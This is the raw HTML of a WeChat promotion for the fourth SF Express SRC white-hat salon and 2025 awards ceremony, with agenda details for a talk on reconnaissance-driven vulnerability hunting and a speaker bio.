src="https://wechat2rss.xlab.app/img-proxy/?k=19a9d176&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQSRzJ3qEicjWibt8YFISmib9hZpnNiae6iavf0nAC2qxOqfeANia5ssIUfyrQ9CwpkrFklsLYUaKkiaP6qpPibI9ibLSR7RRu25ElTnqial4%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D7"/></p></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 238.062px 0px 0px 337.672px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 342.578px;height: 287.984px;transform: rotate(0deg);grid-column-start: 1;grid-row-start: 1;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 10px;height: 287.984px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 342.578px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.8402366863905325" data-s="300,640" data-w="507" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 342.578px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b7b51ba7&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQQicdUq1kYMo6vDZ0kjHxHqqqk5001DB7RfDaWwznf5VJwabUAM4Oj8fqRtZiazcaucl6XiagQr0YiccHlcIuibL6PF634BvkaVteF8%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D8"/></p></div></div><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;grid-column-start: 1;grid-row-start: 1;display: flex;pointer-events: none;visibility: visible;"><svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="transform: rotate(0deg);box-sizing: border-box;visibility: visible;" viewBox="0  0 383 510" role="img" aria-label="插图"><svg style="overflow: initial;box-sizing: border-box;visibility: visible;" width="40.1908%" height="14.87%" x="54.3306%" y="35.42558879992%" role="img" aria-label="插图"><foreignObject width="100%" height="100%" style="transform-origin: center center;transform: rotateZ(12.72deg);box-sizing: border-box;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 28px;height: 75.8281px;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 47px;color: rgb(0, 0, 0);text-align: center;word-break: break-word;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">03/28</span></strong></p></div></div></foreignObject></svg></svg></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;grid-column-start: 1;grid-row-start: 1;display: flex;pointer-events: none;visibility: visible;"><svg xmlns="http://www.w3.org/2000/svg" width="100%" height="100%" style="transform: rotate(0deg);box-sizing: border-box;visibility: visible;" viewBox="0  0 383 510" role="img" aria-label="插图"><svg style="overflow: initial;box-sizing: border-box;visibility: visible;" width="40.1908%" height="7.52%" x="51.6733%" y="47.357893710156006%" role="img" aria-label="插图"><foreignObject width="100%" height="100%" style="transform-origin: center center;transform: rotateZ(15.13deg);box-sizing: border-box;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 28px;height: 38.3438px;visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 24px;color: rgb(0, 0, 0);text-align: center;word-break: break-word;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;visibility: visible;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">星期六</span></strong></p></div></div></foreignObject></svg></svg></p><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 803.094px 0px 0px 97.8438px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;width: 432.297px;height: 60.0938px;grid-column-start: 1;grid-row-start: 1;transform: rotate(0deg);visibility: visible;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;font-size: 13px;height: 60.0938px;pointer-events: none;visibility: visible;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 432.297px;pointer-events: none;visibility: visible;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.13895216400911162" data-s="300,640" data-w="878" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 432.297px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=74b8fa5d&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_png%2F4tc6mDlGcQR9rKj26kWXAY7KichZHkuS6vYqzxM8sj95bScd1AicWneHPEM45VHejicliaB5tk4GzzbiajpCyHQV78NXm9icewBZYwkfdMpib9mYZM%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D9"/></p></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;justify-content: center;display: flex;flex-flow: row;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: auto;vertical-align: top;align-self: flex-start;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">各位白帽师傅集合啦！</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">第四届顺丰SRC白帽技术沙龙</span></span></strong></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">暨2025年度白帽颁奖典礼</span></span></strong></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">一年一度，如约而至！</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">邀请每一位热爱技术的你！</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">这里有前沿的技术分享，</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">有惺惺相惜的同路人，</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更有我们对安全始终如一的坚持！</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);font-size: 14px;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">3月28日 14:00</span></strong></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">期待与你云端相聚！</span></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">速速预约直播间</span></span></strong><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">，我们不见不散！</span></span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 10px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;line-height: 0;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 677px;"><img alt="图片" class="rich_pages wxw-img" data-aistatus="1" data-ratio="0.425531914893617" data-s="300,640" data-w="940" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 677px !important;visibility: visible !important;height: auto !important;" width="100%" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=79f954d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F8tSCcibeOEzfnVGQyP5sib7hbpDOvqsBJ5ibjpmYdXcC7UmTpk2cJPmzesFbBeuCclEia0ERQ5Zk5j3R5ibJbpW2NzUYDqTAzs2AwOKbOdwM58WM%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D5%26wx_lazy%3D1%23imgIndex%3D10"/></p></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;justify-content: flex-start;display: flex;flex-flow: row;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;height: auto;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: -15px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;"><div data-lazy-bgimg="https://mmecoa.qpic.cn/mmecoa_gif/4tc6mDlGcQRiaciaia9ge6HvQXTmxBKia5uWQFficCZCXkEovBQLH6xCWUQPvPW0oGGic3OMnUB1beGbjjRNnGOTkXht5SE4MDT0H9hVHiaYf9MRNs/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;width: 80px;height: 80px;vertical-align: top;overflow: hidden;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=51a5adc9&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fmmecoa_gif%2F4tc6mDlGcQRiaciaia9ge6HvQXTmxBKia5uWQFficCZCXkEovBQLH6xCWUQPvPW0oGGic3OMnUB1beGbjjRNnGOTkXht5SE4MDT0H9hVHiaYf9MRNs%2F640%3Fwx_fmt%3Dgif%26tp%3Dwebp%26wxfrom%3D15%26wx_lazy%3D1&#34;);background-position: 50% 50%;background-size: contain !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 35px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(255, 255, 255);font-size: 14px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;text-align: left;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 12px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">PART.01</span></span></strong></p></div></div></div></div></div><div data-lazy-bgimg="https://mmecoa.qpic.cn/sz_mmecoa_png/4tc6mDlGcQQHbXWjM8DtL7k4GgfyG7K3iab2yZ0szS497JB4A2wHsb33ACUUHqy0OTZ3ib0JE8wLIib8qiahBA6ic2n3noFT2HaZbOygmgIZKstY/640?wx_fmt=png" data-fail="0" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 100 100 0%;height: auto;background-repeat: no-repeat;background-attachment: scroll;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=5b29def9&amp;u=https%3A%2F%2Fmmecoa.qpic.cn%2Fsz_mmecoa_png%2F4tc6mDlGcQQHbXWjM8DtL7k4GgfyG7K3iab2yZ0szS497JB4A2wHsb33ACUUHqy0OTZ3ib0JE8wLIib8qiahBA6ic2n3noFT2HaZbOygmgIZKstY%2F640%3Fwx_fmt%3Dpng%26tp%3Dwebp%26wxfrom%3D15%26wx_lazy%3D1&#34;);background-position: 0% 0%;background-size: 100% 100% !important;"><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: justify;font-size: 18px;color: rgb(255, 255, 255);"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;white-space: normal;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 17px;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">沙龙议程抢先看</span></span></strong></p></div></div></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px 10px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 14px;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;font-size: 15px;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(255, 255, 255);background-color: rgb(0, 0, 0);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题一：</span></span></strong></span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">为什么你挖不到漏洞？——换个思路，从信息搜集开始</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">议题介绍：</span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">本议题聚焦实战化漏洞挖掘，从思维重构、方法练习到实战落地，全程围绕攻击面拓展展开，帮白帽高效找到更多可利用攻击点。搭配大量真实案例拆解，思路清晰、上手即用，让你真正把信息搜集能力转化为实战挖洞成果。</span></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">演讲嘉宾：</span></strong><strong style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;color: rgb(0, 66, 230);"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">种子</span></span></strong></p><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;clear: both;min-height: 1em;"><span style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;"><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">顺丰SRC 2025年年度Top2，国内某知名SRC 2025年年度Top1</span></span><span leaf="" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">；Timeline Sec团队寅虎组核心成员，曾帮助团队拿下多个SRC厂商优秀合作伙伴；曾独立挖掘多个国内SRC严重漏洞，擅长信息搜集，逻辑漏洞，以及各种鬼斧神工的挖洞技巧。</span></p></div><div style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;text-align: center;line-height: 0;pointer-events: none;"><p style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;overflow-wrap: break-word !important;vertical-align: middle;display: inline-block;line-height: 0;width: 344.7px;height: auto;pointer-events: none;"><img alt="图片" class="rich_pages wxw-img" data-ratio="0.08324974924774323" data-s="300,640" data-w="997" style="-webkit-tap-highlight-color: rgba(0, 0, 0, 0);margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box;vertical-align: middle;overflow-wrap: break-word !important;width: 344.688px !important;visibility: visible !important;height: auto !important;" width="100%" data-aistatus="1" data-type="png" 